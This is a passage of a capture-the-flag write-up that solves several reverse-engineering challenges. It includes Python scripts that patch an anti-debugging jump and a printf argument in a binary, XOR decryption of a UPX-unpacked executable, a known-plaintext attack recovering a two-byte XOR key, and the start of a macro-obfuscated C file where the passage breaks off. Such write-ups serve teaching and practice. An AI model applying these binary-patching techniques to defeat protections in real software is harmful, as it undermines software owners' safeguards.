mechanisms and modify its execution flow to extract the flag, which it otherwise attempts to conceal.</p><h3>Analysis Methodology:</h3><p>The solution involved a standard reverse engineering workflow, focusing on static and dynamic analysis to uncover the anti-debugging checks and the flag generation logic.</p><p>1. Initial Inspection &amp; File Identification: Determine the file type and basic properties.</p><p>2. Anti-Debugging Bypass: Identify and patch the anti-debugging check to allow for dynamic analysis.</p><p>3. Flag Extraction Logic: Examine the flag generation routine and patch the output function to print the actual flag instead of a dummy string.</p><h3>1. Initial Inspection:</h3><p>The binary was identified as a 64-bit ELF executable. Initial attempts to run it or attach a debugger were met with resistance, confirming the presence of anti-debugging techniques.</p><h3>2. Anti-Debugging Bypass:</h3><p>Static analysis revealed a check that detects if the process is being traced.</p><p>Details of the Patch:<br>Location: File offset 0x181b .</p><p>Original Instruction: 74 0f (a conditional jump je to 0x40182c ).</p><p>Behavior: If a debugger is detected, the jump is taken, leading to an undesirable execution path.</p><p>Bypass: The conditional jump je ( 0x74 ) was patched to an unconditional jump jmp ( 0xeb ). This forces the program to skip the anti-debugging logic regardless of the check.</p><h3>3. Flag Extraction Logic:</h3><p>The binary successfully generates the flag in memory but prints a dummy string “( ABCDEFG…”) to the standard output instead of the actual flag.</p><p>Details of the Patch:</p><p>Location: The logic for printing is around offset 0x1997 .</p><p>Original Instruction: be fd 15 48 00 ( mov esi, 0x4815fd ). This loads the address of the dummy string into the esi register (second argument for printf or puts ).</p><p>Vulnerability: The actual flag is stored in the stack/register rbp at this point.</p><p>Exploit: We patch the instruction to move the value of rbp into rsi (the 64-bit version of esi ).</p><p>Patch: 48 89 ee 90 90 ( mov rsi, rbp; nop; nop ). The nop s are used to pad the instruction to the same length (5 bytes) as the original.</p><h3>Solution Script:</h3><p>The final solution is a Python script that applies both patches to the binary and then executes the patched version to capture the output.</p><p>Python:</p><pre>#!/usr/bin/env python3<br>import os<br>import stat<br>import subprocess<br>import re<br><br>def patch_binary():<br>    original_binary = &quot;tarnished&quot;<br>    patched_binary = &quot;tarnished_patched&quot;<br>    <br>    with open(original_binary, &quot;rb&quot;) as f:<br>        data = bytearray(f.read())<br>    # Patch 1: Bypass anti-debug check (0x181b: 74 -&gt; eb)<br>    offset = 0x181b<br>    if data[offset] == 0x74:<br>        data[offset] = 0xeb<br>        print(&quot;[+] Applied anti-debug patch.&quot;)<br>    # Patch 2: Print flag instead of dummy string (0x1997)<br>    offset2 = 0x1997<br>    # Original: mov esi, 0x4815fd (be fd 15 48 00)<br>    # Patch: mov rsi, rbp; nop; nop (48 89 ee 90 90)<br>    patch2 = b&#39;\x48\x89\xee\x90\x90&#39;<br>    <br>    if data[offset2:offset2+5] != patch2:<br>        data[offset2:offset2+5] = patch2<br>        print(&quot;[+] Applied flag printing patch.&quot;)<br>    with open(patched_binary, &quot;wb&quot;) as f:<br>        f.write(data)<br>    <br>    st = os.stat(patched_binary)<br>    os.chmod(patched_binary, st.st_mode | stat.S_IEXEC)<br>    <br>    return True<br>def run_patched():<br>    print(&quot;[*] Running patched binary...&quot;)<br>    try:<br>        # Run with timeout since it loops infinitely<br>        result = subprocess.run([&quot;./tarnished_patched&quot;],<br>                                capture_output=True, timeout=1)<br>    except subprocess.TimeoutExpired as e:<br>        # Handle output (bytes)<br>        output_bytes = (e.stdout or b&quot;&quot;) + (e.stderr or b&quot;&quot;)<br>        output_str = output_bytes.decode(errors=&#39;replace&#39;)<br>        <br>        match = re.search(r&quot;nexus\{.*?\}&quot;, output_str)<br>        if match:<br>            print(f&quot;\n[+] FOUND FLAG: {match.group(0)}&quot;)<br>        else:<br>            print(&quot;[-] Flag not found in output.&quot;)<br>if __name__ == &quot;__main__&quot;:<br>    if patch_binary():<br>        run_patched()</pre><h3>Final Flag :</h3><p>Execution of the solver script on the patched binary yielded the final flag.</p><p>The correct flag is: nexus{cl34r3d_1t_l1k3_4_pr0_m0v1n_0n_70_7h3_n3x7}</p><p>Too easy!!</p><h3>4) Grace:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*Cl2zkcNj5sZG4s7jiB0wag.jpeg" /></figure><p>I was the 2nd solve for this challenge, it was in wave 2 of the challenges released on the 2nd day!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*CdGRNvPiHwiQzIh1Antkfg.png" /></figure><p>The challenge provided a single file named grace.exe , which required reverse engineering to uncover a hidden flag.</p><h3>Analysis Methodology:</h3><p>The approach involved a standard reverse engineering workflow:</p><ol><li>File Identification: Determine the file type and initial characteristics.</li></ol><p>2. Unpacking: Remove the identified packer (UPX) to access the original code.</p><p>3. Static Analysis: Examine the unpacked binary’s contents and disassembly to identify the flag decryption routine.</p><p>4. Solver Script: Develop a script to automate the decryption process.</p><h3>1. File Identification and Unpacking:</h3><p>Using the file command, the nature of the provided file was quickly determined to be a 32-bit Windows executable. The presence of UPX packing was confirmed by the strings output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*KPiIMhpNqaERIufFk1FLSw.png" /></figure><p>creating an unpacked version of the challenge, saved as grace_unpacked.exe</p><h3>2. Static Analysis (Decryption Routine):</h3><p>Static analysis of the unpacked binary ( grace_unpacked.exe ) revealed several key strings, including ‘INPUT KEY:’, ‘DENIED’, and ‘UNLOCKED’. Tracing the cross-references to these strings led to the core logic responsible for flag validation and decryption, located around address 0x401220 .</p><p>The critical component identified was a decryption loop starting at address 0x4012f1 . This loop iterates over a 64-byte encrypted buffer, applying a simple XOR operation with a constant key to each byte.</p><p>The relevant assembly instructions are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*NCElaAWt3oK9e8RCvA-UAg.png" /></figure><p>The encrypted data buffer, referenced at memory address 0x40515d , was found to be located at file offset 0x291d within the grace_unpacked.exe file. The decryption key is the constant 0xbc .</p><h3>3. Solver Script and Decryption:</h3><p>Based on the reverse engineering findings, a Python script was developed to automate the decryption process. The script reads the 64 encrypted bytes from the correct file offset, iterates through them, and applies the XOR operation with the key 0xbc .</p><p>Python</p><pre>with open(&#39;grace_unpacked.exe&#39;, &#39;rb&#39;) as f:<br>    # The encrypted data is 64 bytes long, starting at file offset 0x291d<br>    f.seek(0x291d)<br>    data = f.read(64)<br><br>    key = 0xbc<br>    decrypted = bytearray()<br>    <br>    for b in data:<br>        decrypted.append(b ^ key)<br><br>    # Print the decrypted flag string<br>    print(decrypted.decode(&#39;utf-8&#39;))</pre><p>Running the solver script successfully yielded the final flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*cmAIlxubUNBQSzjwos3SkQ.jpeg" /></figure><h3>Final Flag :</h3><p>The correct flag is: nexus{r3cur51v3_vm_1nc3p710n_7hr33_l4y3r5_d33p_n357ed}</p><h3>5) Oops!:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*V7KJRD49Mk1gjx3IYrqC1A.jpeg" /></figure><p>this ones going to be long so brace yourselves!</p><h3>Executive Summary:</h3><p>Challenge Name: Oops <br>Category: Reverse Engineering <br>Difficulty: Medium <br>Flag Format: nexus{}<br>Flag: nexus{7h3_c0d3_y0u_r34d_r3fl3c75_7h3_m1nd_y0u_c4rry_n07_7h3_w0rld_y0u_f34r}<br>Solution Method: Known plaintext XOR attack using the flag format to derive a repeating 2-byte XOR key.</p><h3>Table of Contents:</h3><p>1.Challenge Description</p><p>2.Initial Reconnaissance</p><p>3.Static Analysis</p><p>4.Failed Approaches</p><p>5.Solution: Known Plaintext Attack</p><p>6.Complete Solver Script</p><p>7.Key Takeaways</p><p>8.Appendix: Additional Scripts</p><h3>1. Challenge Description:</h3><p>The challenge provides a binary file named chall with the following prompt:</p><blockquote>“The binary prints nothing useful, and I might have forgotten to remove some symbols when compiling… Not sure if that actually matters though.”</blockquote><p>This prompt suggests:</p><p>•The binary’s runtime output is not important.</p><p>•Debug symbols may have been left in the binary.</p><ul><li>The symbols might be relevant to finding the flag.</li></ul><h3>2. Initial Reconnaissance:</h3><h4>File analysis:</h4><h4>Bash:</h4><pre>$ file chall<br>chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),<br>dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,<br>BuildID[sha1]=7f037dd011d5223d8d2cdb53547dea17c975f41e,<br>for GNU/Linux 3.2.0, not stripped</pre><p>Key Observations:</p><p>•64-bit ELF executable</p><p>•Not stripped — symbols are present!</p><p>•PIE (Position Independent Executable)</p><h4>Binary Execution:</h4><p>Bash:</p><pre>$ ./chall<br>oops! nothing interesting here...<br>keep calm and reverse on.</pre><p>As hinted, the runtime output provides no direct flag information.</p><h4>Symbol Enumeration:</h4><p>The presence of unstripped symbols was confirmed. We used nm to list and filter for interesting data symbols:</p><p>Bash:</p><pre>$ nm chall | grep -E &quot;^[0-9a-f]+ [A-Z]&quot;</pre><p>Interesting Symbols Found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*olr1Yniy26zh1gwN1OwXqg.png" /></figure><p>The symbol synt is particularly interesting as it’s ROT13 for “flag”!</p><h3>3. Static Analysis:</h3><h4>Extracting Symbol Data</h4><p>Using GDB, we extracted the 75 bytes of data stored at the address of the synt symbol:</p><pre>$ objdump -d -M intel chall | grep -A 50 &quot;&lt;main&gt;:&quot;</pre><p>Key Assembly Instructions (Excerpt):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*StiwvdqtDMLbtL3-YNDhRw.png" /></figure><p>Values:</p><p>•blob[0] = 0x7a</p><p>•junk[0] = 0xf1</p><p>•temp_key[0] = 0x44</p><p>•Result: 0x7a ⊕ 0xf1 ⊕ 0x44 = 0xcf</p><p>However, attempting to use this single-byte result (0xcf) as an XOR key did not lead to the solution, suggesting the runtime logic was a distraction or only part of a more complex, non-static decryption process.</p><h3>4. Failed Approaches:</h3><p>During the analysis, several decoding methods were attempted before the final solution was found. These failures were crucial in guiding the final approach:</p><h4>1.Single-byte XOR:</h4><p>•Tested all 256 possible XOR keys against the synt data.</p><p>•Result: No readable flag.</p><h4>2.ROT13 Only:</h4><p>•Applied ROT13 to the synt data, given the symbol name hint.</p><p>•Result: Still encoded.</p><h4>3.Multi-byte XOR with Binary Data:</h4><p>•Tried XORing the synt data with blob, junk, and their combinations as keys.</p><p>•Result: No readable flag.</p><h4>4.Challenge-Specific Hints:</h4><p>•Tried “316” (challenge ID) as key.</p><p>•Tried “oops” (challenge name) as key.</p><p>•Tried “S0E=” (found in .rodata section) as key.</p><p>•Result: None produced readable text.</p><h4>5.Computed Key from Main Logic:</h4><p>•Used the key derived from the main function’s logic (0xcf).<br>•Result: Did not decode correctly.</p><p>These failures indicated that additional information was needed, specifically a known portion of the plaintext.</p><h3>5. Solution: Known Plaintext Attack:</h3><h4>The Breakthrough:</h4><p>Once the flag format was confirmed as nexus{}, a Known Plaintext Attack (KPA) became possible. This attack is highly effective against stream ciphers like XOR when the beginning of the plaintext is known.</p><blockquote>Concept: If we know that the plaintext starts with “nexus{“, we can XOR this with the ciphertext to derive the key: \text{Key}[i] = \text{Ciphertext}[i] \oplus \text{Plaintext}[i]</blockquote><h4>Deriving the Key:</h4><p>We used the first six bytes of the known plaintext (nexus{) and the first six bytes of the synt ciphertext (0x25 0x24 0x33 0x34 0x38 0x3a) to derive the key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*qebaqA6INIlOO7jFWTMB_Q.png" /></figure><p>Pattern Identified: K A K A K A → This revealed a repeating 2-byte key: KA (hex: 0x4b 0x41).</p><h4>Decoding the Flag:</h4><p>With the repeating key KA established, the full 75-byte ciphertext was decrypted using a simple XOR loop, applying the key cyclically.</p><pre>key = [0x4b, 0x41] # &quot;KA&quot;<br># ... full synt_hex data ...<br>decoded = &quot;&quot;<br>for i in range(len(synt_hex)):<br>    decoded += chr(synt_hex[i] ^ key[i % 2])<br># print(decoded)</pre><p>Result: nexus{7h3_c0d3_y0u_r34d_r3fl3c75_7h3_m1nd_y0u_c4rry_n07_7h3_w0rld_y0u_f34r}</p><p>✓ Flag successfully decoded!</p><h3>6. Complete Solver Script:</h3><blockquote>The following Python script, solve.py, automates the key derivation and decryption process.</blockquote><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;<br>CTF Challenge: Oops <br>Solution: Known plaintext XOR attack<br>Flag Format: nexus{}<br>XOR Key: KA (0x4b 0x41)<br>&quot;&quot;&quot;<br><br># Encoded data from &#39;synt&#39; symbol<br>synt_hex = [<br>0x25, 0x24, 0x33, 0x34, 0x38, 0x3a, 0x7c, 0x29,<br>0x78, 0x1e, 0x28, 0x71, 0x2f, 0x72, 0x14, 0x38,<br>0x7b, 0x34, 0x14, 0x33, 0x78, 0x75, 0x2f, 0x1e,<br>0x39, 0x72, 0x2d, 0x2d, 0x78, 0x22, 0x7c, 0x74,<br>0x14, 0x76, 0x23, 0x72, 0x14, 0x2c, 0x7a, 0x2f,<br>0x2f, 0x1e, 0x32, 0x71, 0x3e, 0x1e, 0x28, 0x75,<br>0x39, 0x33, 0x32, 0x1e, 0x25, 0x71, 0x7c, 0x1e,<br>0x7c, 0x29, 0x78, 0x1e, 0x3c, 0x71, 0x39, 0x2d,<br>0x2f, 0x1e, 0x32, 0x71, 0x3e, 0x1e, 0x2d, 0x72,<br>0x7f, 0x33, 0x36<br>]<br><br>def derive_key(ciphertext, known_plaintext):<br>    &quot;&quot;&quot;Derive XOR key from known plaintext&quot;&quot;&quot;<br>    key = []<br>    for i in range(len(known_plaintext)):<br>        key.append(ciphertext[i] ^ ord(known_plaintext[i]))<br>    return key<br><br>def xor_decrypt(ciphertext, key):<br>    &quot;&quot;&quot;Decrypt using repeating XOR key&quot;&quot;&quot;<br>    plaintext = &quot;&quot;<br>    for i in range(len(ciphertext)):<br>        plaintext += chr(ciphertext[i] ^ key[i % len(key)])<br>    return plaintext<br><br># Known plaintext (flag format)<br>known = &quot;nexus{&quot;<br><br># Derive the XOR key<br>key = derive_key(synt_hex, known)<br>print(&quot;Derived key:&quot;, [f&quot;0x{b:02x}&quot; for b in key])<br>print(&quot;Key as ASCII:&quot;, &#39;&#39;.join(chr(b) for b in key))<br>print()<br><br># Decrypt the flag<br>flag = xor_decrypt(synt_hex, key)<br>print(&quot;=&quot;*70)<br>print(&quot;FLAG:&quot;)<br>print(&quot;=&quot;*70)<br>print(flag)<br>print(&quot;=&quot;*70)</pre><h4>Running the Solver:</h4><pre>$ python3 solve.py<br>Derived key: [&#39;0x4b&#39;, &#39;0x41&#39;, &#39;0x4b&#39;, &#39;0x41&#39;, &#39;0x4b&#39;, &#39;0x41&#39;]<br>Key as ASCII: KAKAKA<br>======================================================================<br>FLAG:<br>======================================================================<br>nexus{7h3_c0d3_y0u_r34d_r3fl3c75_7h3_m1nd_y0u_c4rry_n07_7h3_w0rld_y0u_f34r}<br>======================================================================</pre><h3>7. Key Takeaways:</h3><h3>Critical Lessons:</h3><h4>1.Read Debug Symbols:</h4><p>•The hint about “forgotten symbols” was literal.</p><p>•Symbol names (synt = ROT13 of “flag”) provided crucial direction.</p><h4>2.Known Plaintext is Powerful:</h4><p>•Knowing the flag format enabled a direct attack.</p><p>•This is why standardized flag formats can be both helpful and vulnerable.</p><h4>3.Pattern Recognition:</h4><p>•The repeating KAKAKA pattern emerged from just 6 bytes.</p><p>•Recognizing this 2-byte repetition was key.</p><h4>4.Don’t Overcomplicate:</h4><p>•The solution was a simple repeating 2-byte XOR.</p><p>•The binary’s complex appearance (blob, junk, temp_key) was a red herring.</p><h4>Technical Skills Demonstrated:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*oCZaCdo8Xg4zCdcxN3V2pA.png" /></figure><h3>8. Appendix: Additional Scripts:</h3><h4>Script: Extract Symbol Data:</h4><p>This bash script provides a quick way to extract the raw data from the synt symbol.</p><pre>#!/bin/bash<br># extract_synt.sh - Extract synt symbol data<br>echo &quot;Extracting synt data...&quot;<br>gdb -batch -ex &quot;file chall&quot; \<br>-ex &quot;x/75bx &amp;synt&quot; \<br>-ex &quot;x/s &amp;synt&quot; | grep -A 20 &quot;0x4060&quot;</pre><h3>Script: Comprehensive Analysis</h3><p>This Python script demonstrates how to programmatically extract and ROT13-decode symbol names and extract the first 16 bytes of data for initial analysis.</p><pre>#!/usr/bin/env python3<br># analyze.py - Comprehensive binary analysis<br>import subprocess<br>import re<br><br>def extract_symbol_data(symbol_name):<br>    &quot;&quot;&quot;Extract data from a symbol using GDB&quot;&quot;&quot;<br>    cmd = [<br>    &#39;gdb&#39;, &#39;-batch&#39;,<br>    &#39;-ex&#39;, &#39;file chall&#39;,<br>    &#39;-ex&#39;, f&#39;x/75bx &amp;{symbol_name}&#39;<br>    ]<br>    result = subprocess.run(cmd, capture_output=True, text=True)<br>    # Parse hex bytes from output<br>    hex_pattern = r&#39;0x([0-9a-f]{2})&#39;<br>    bytes_found = re.findall(hex_pattern, result.stdout)<br>    return [int(b, 16) for b in bytes_found]<br><br>def rot13(text):<br>    &quot;&quot;&quot;Apply ROT13 transformation&quot;&quot;&quot;<br>    result = &quot;&quot;<br>    for c in text:<br>        if &#39;a&#39; &lt;= c &lt;= &#39;z&#39;:<br>            result += chr((ord(c) - ord(&#39;a&#39;) + 13) % 26 + ord(&#39;a&#39;))<br>        elif &#39;A&#39; &lt;= c &lt;= &#39;Z&#39;:<br>            result += chr((ord(c) - ord(&#39;A&#39;) + 13) % 26 + ord(&#39;A&#39;))<br>        else:<br>            result += c<br>    return result<br><br># Find interesting symbols<br>symbols = [&#39;synt&#39;, &#39;blob&#39;, &#39;junk&#39;, &#39;temp_key&#39;]<br>for sym in symbols:<br>    print(f&quot;\n{sym} -&gt; {rot13(sym)}&quot;)<br>    data = extract_symbol_data(sym)[:16] # First 16 bytes<br>    print(&quot;Data:&quot;, &#39; &#39;.join(f&#39;{b:02x}&#39; for b in data))</pre><h4>Boy this was a long challenge!! onto the next one!</h4><h3>6) aperios:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*826iv1uFepBwW6ZC1govUA.jpeg" /></figure><h3>provided c code file:</h3><pre>#include &lt;stdio.h&gt;<br>#define zzzz_zzzzzzzzz main<br>#define zzzzzzzzz_zzzzzzzzzzzzzz &#39;s&#39;<br>#define zzzzzzzzzzzzz &#39;p&#39;<br>#define zzzzzzzz_zzzzzzzzzzzzzzzzzzz &#39;r&#39;<br>#define zz_zzzz 16<br>#define zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz &#39;x&#39;<br>#define zzzzzzzzzz_zzzzzzzzzzzzz 4<br>#define zzzzzz_zzzzzzzzzzzzzzzzzzzzzzzzz &#39;\0&#39;<br>#define zzzz_zzzzzzzzzzzzzzzzzzzzz 19<br>#define zzzzzzz_zzzz &#39;0&#39;<br>#define zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz 50<br>#define z_zzz &#39;_&#39;<br>#define zzzzzzzzzzzzzzzzzzzzzzzzzz &#39;n&#39;<br>#define z_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz &#39;4&#39;<br>#define zzz_zzzzzzzzz 36<br>#define zzzzz_zzzzzzzzzzzz &#39;e&#39;<br>#define zzzzzzzzzzzzzzzzzzzzzzzz &#39;t&#39;<br>#define zzz_zzzzzzzzzzzzzzzz 7<br>#define zzzzzzzzzzz_zzzzz &#39;1&#39;<br>#define z_z 0<br>#define zzzzzzzzzzzzzzzzzzzzzzzzzzzz &#39;}&#39; <br>#define zzzzzzzzzzzz_zzzzzzzzzzzzzzzz 23<br>#define zzzzzzz_zzzzzzzzzzzzzzzzzzzzzzzz &#39;E&#39;<br>#define zzzz_zzzzzzzzzzzzzzzz &#39;:&#39;<br>#define zzz_zzzzz &#39; &#39;<br>#define zzzzzzzz_zzzzzzzzzzzzzzzzzzzzzzzz &#39;%&#39;<br>#define zzzzzzzzzz_z &#39;f&#39;<br>#define zzz_zzzzzzzzzzzzzzzzzz &#39;l&#39;<br>#define zzzzzzzzzzz_zz &#39;a&#39;<br>#define zzzzz 1<br>#define z_zzzzzzzz 2<br>#define zzz_zzzzzzz 3<br>#define zzzzzzzzzzzzzzzzzzz 5<br>#define zz_zzzzzzzzzz 6<br>#define zz_zzzzzzzzzzzzzzzzzzzzzzzzzzzz &#39;{&#39;<br>#define zzzzzz_zzzzzzzz 8<br>#define zz_zzzzzzzzzzzzzzz 9<br>#define zzzzzzzzzzzzzzzzzzzz &#39;c&#39;<br>#define zzzzzzzzzzzzzzzzz_zzzzzzzzzzzz 10<br>#define zzz_zzzzzzzzzzz &#39;3&#39;<br>#define z_zzzzzz 11<br>#define zzzzz_zzzzzzzz 12<br>#define zz_zzzzzzzzzzzzzzzzzzzzz 13<br>#define zzz_zzzzzzzz 14<br>#define zzzzzz_zzzzzzzzzzzzzz 15<br>#define zzzzz_zzzzzzzzzzzzzzz 17<br>#define z_zzzzzzzzzzzz 18<br>#define zzz_zzz 20<br>#define z_zzzzzzzzz 21<br>#define zzzzz_zzzzzzzzzzzzzzzzzzzzzzz 30<br>#define zzzz_zzzzzzzzzzzzzz 22<br>#define zzzzzzz_zzzzzzzzzzzzzzzzz 24<br>#define zz_zzz 25<br>#define z_zzzzzzzzzzzzzzzzz &#39;u&#39;<br>#define zzz_z 26<br>#define zzzzzzzz_zzzzzzzzzzzz 27<br>#define z_zzzzzzzzzzzzzzzzzzzzzzz 28<br>#define zzzzzz_zzzz 29<br>#define zz_zzzzzzz &#39;h&#39;<br>#define zzz_zzzz_MACRO 31<br>#define z_zzzzzzzzzz 32<br>#define zzzz_zzzzz 33<br>#define zzz_zzzzzzzzzzzzzzzzzzzzzzzzzzzz &#39;m&#39;<br>#define zzzzzzzzz_zzz 34<br>#define zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz &#39;d&#39;<br>#define zzzzzz_z 35<br>#define zz_zzzzzzzzzzzzzzzzzz 37<br>#define zzzzz_zzzzzzzzzzzzzz_z &#39;o&#39;<br>#define z_zzzz_z_zzzz &#39;\n&#39;<br>#define zzzzzzzz_zz 38<br>#define zzzzzzzzzz_zzz 39<br>#define zzzz_zzzzzzzzzzzzzzzzzzzzzzzzzz &#39;g&#39;<br>#define zzzzzzz_zzzzzzzzzzzzz &#39;?&#39;<br>#define zzzz_zz int<br>#define zzzzzz_zzzzzzzzzzzz char<br>#define zzzzz_zzzzzzzzzzzzzzzzzzzz if<br>#define zz_zzzzzzzz else<br>#define zzzzz_zzz &#39;k&#39;<br>#define zzz_zzzzzzzzzzzzzzzzzzzz return<br>#define zzzzzzzz_zzzzzzz printf<br>#define zzzz_zzzzzzzzzzzzz scanf<br>#define zzzzz_zzzzzzzzz_zzzz while<br>#define zzzz_zzzzzzzzzzzzzzz switch<br>#define zz_zzzzzzzzzz_zz case<br>#define zzzzzzzzz_zzzz break   <br>#define zzzzz_zzzzzzzzzz_ default <br>#define zzz_ZZ_zzz 1337<br>#define zzz_ZzzZ_zzz 404<br>#define zzz_ZzzzZ_zzz 90210<br>#define zzz_ZzzzzZ_zzz 8008<br>#define zzz_ZzzZzzZ_zzz 555<br>#define zzz_ZZ_ZZZz   777<br>#define zzz_ZZ_zZZZz  666<br>#define zzz_zz_ZZzZ 101<br><br>zzzz_zz zzzz_zzzzzzzzz() {<br>    zzzzzz_zzzzzzzzzzzz z[zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz];<br>        zzzzzz_zzzzzzzzzzzz zzzz_zzzzzzzzzz[] = {<br>            zzzzzzzzzzzzzzzzzzzzzzzzzz, zzzzz_zzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz,<br>            z_zzzzzzzzzzzzzzzzz, zzzzzzzzz_zzzzzzzzzzzzzz, zz_zzzzzzzzzzzzzzzzzzzzzzzzzzzz,<br>            zzzzzzzzzzzzzzzzzzzz, zzzzzzz_zzzz, zzz_zzzzzzzzzzzzzzzzzzzzzzzzzzzz, zzzzzzzzzzz_zzzzz,<br>            zzzzzzzzzzzzzzzzzzzzzzzzzz, zzzzzz_zzzzzzzz, zzzzz_zzzzzzzzzzzz, zzzzzzz_zzzzzzzzzzzzz,<br>            z_zzz, zzzzzzzzzzzzzzzzzzzzzzzzzz, z_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz, zz_zzzzzzz,<br>            z_zzz, zzzzz_zzz, zzz_zzzzzzzzzzz, zzz_zzzzzzzzzzz, zzzzzzzzzzzzz, z_zzz,<br>            zzzzzzzzz_zzzzzzzzzzzzzz, zzz_zzzzzzzzzzz, z_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz,<br>            zzzzzzzzzzzzzzzzzzzz, zz_zzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzzzzz, zzzzzz_zzzzzzzzzzzzzzzzzzzzzzzzz<br>    };<br>        zzzzzz_zzzzzzzzzzzz zzz_zzzz[] = {<br>            zzzzzzzzzzzzzzzzzzzz, zzzzz_zzzzzzzzzzzzzz_z, zzzzzzzz_zzzzzzzzzzzzzzzzzzz,<br>            zzzzzzzz_zzzzzzzzzzzzzzzzzzz, zzzzz_zzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzz,<br>            zzzzzzzzzzzzzzzzzzzzzzzz, z_zzzz_z_zzzz, zzzzzz_zzzzzzzzzzzzzzzzzzzzzzzzz<br>    };<br>        zzzzzz_zzzzzzzzzzzz zzz_ZzZ[] = {<br>            zzzzzzz_zzzzzzzzzzzzzzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzzzz, zzzzzzzzzzzzzzzzzzzzzzzz,<br>            zzzzz_zzzzzzzzzzzz, zzzzzzzz_zzzzzzzzzzzzzzzzzzz, zzz_zzzzz, zzzzzzzzzz_z,<br>            zzz_zzzzzzzzzzzzzzzzzz, zzzzzzzzzzz_zz, zzzz_zzzzzzzzzzzzzzzzzzzzzzzzzz,<br>            zzzz_zzzzzzzzzzzzzzzz, zzz_zzzzz, zzzzzz_zzzzzzzzzzzzzzzzzzzzzzzzz<br>    };<br>        zzzzzz_zzzzzzzzzzzz zzz_zzZZ[] = {<br>            zzzzzzzz_zzzzzzzzzzzzzzzzzzzzzzzz, zzzzzzzzz_zzzzzzzzzzzzzz, zzzzzz_zzzzzzzzzzzzzzzzzzzzzzzzz<br>    };<br>        zzzzzzzz_zzzzzzz(zzz_zzZZ, zzz_ZzZ);<br>        zzzz_zzzzzzzzzzzzz(zzz_zzZZ, z);<br>        zzzz_zz zzzzz_ZZZ_zZZZ = zzz_ZZ_zzz;<br>    zzzz_zz Z = z_z;<br>    zzzz_zz zzzzz_ZZZ_ZzZZ = zzzzz;<br>    zzzzz_zzzzzzzzz_zzzz(zzzzz_ZZZ_zZZZ != zzz_zz_ZZzZ) {<br>        zzzz_zzzzzzzzzzzzzzz(zzzzz_ZZZ_zZZZ) {<br>            zz_zzzzzzzzzz_zz zzz_ZzzzzZ_zzz :<br>            zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != z_zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz; zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzz_zzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz; zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzz_zzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;    zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != z_zzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != z_zzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzz_zzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzz_zzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(zzzzz_ZZZ_zZZZ != zzz_ZZ_zZZZz) zzzzz_ZZZ_zZZZ = zzz_ZzzZzzZ_zzz;zzzzzzzzz_zzzz;zz_zzzzzzzzzz_zz zzz_ZZ_zzz :zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzz_zzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != z_zzzzzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = zzz_ZZ_zZZZz;zzzzz_zzzzzzzzzzzzzzzzzzzz(z[Z++] != zzzzzzzzz_zzzzzzzzzzzzzz) zzzzz_ZZZ_zZZZ = 